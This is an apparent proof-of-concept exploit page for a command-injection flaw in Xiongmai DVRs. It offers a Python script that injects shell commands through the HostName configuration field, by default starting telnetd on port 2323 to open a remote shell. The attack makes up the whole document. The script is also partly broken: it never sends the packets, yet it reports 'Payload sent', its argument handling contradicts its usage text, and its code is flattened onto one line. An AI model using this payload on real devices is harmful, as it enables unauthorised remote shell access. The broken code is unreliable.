CVE-2026-34005 Xiongmai DVR命令注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34005 # Requires socket and struct for DVRIP protocol framing (Conceptual) import socket def exploit(target_ip, target_port=34567, command="reboot"): # Note: Actual DVRIP protocol implementation requires binary framing. # This demonstrates the injection logic. # Malicious HostName payload with command injection # Using semicolon to chain commands in system() malicious_hostname = f"localhost; {command}" print(f"[*] Connecting to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Step 1: Authentication (Logic omitted, requires valid credentials) # auth_packet = build_dvrip_login(user, pass) # s.send(auth_packet) # Step 2: Send Exploit Packet to NetWork.NetCommon # Payload structure usually includes Operation ID, Session ID, and Data # Injecting into the HostName field within the configuration data payload_data = { "Handler": "NetWork.NetCommon", "Action": "SetConfig", "Parameter": "HostName", "Value": malicious_hostname } # exploit_packet = build_dvrip_packet(payload_data) # s.send(exploit_packet) print(f"[+] Payload sent: {malicious_hostname}") print("[!] Check if device executed the command (e.g., rebooted or shell opened)") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip> [command]") else: cmd = sys.argv[3] if len(sys.argv) > 3 else "telnetd -p 2323" exploit(sys.argv[1], 34567, cmd)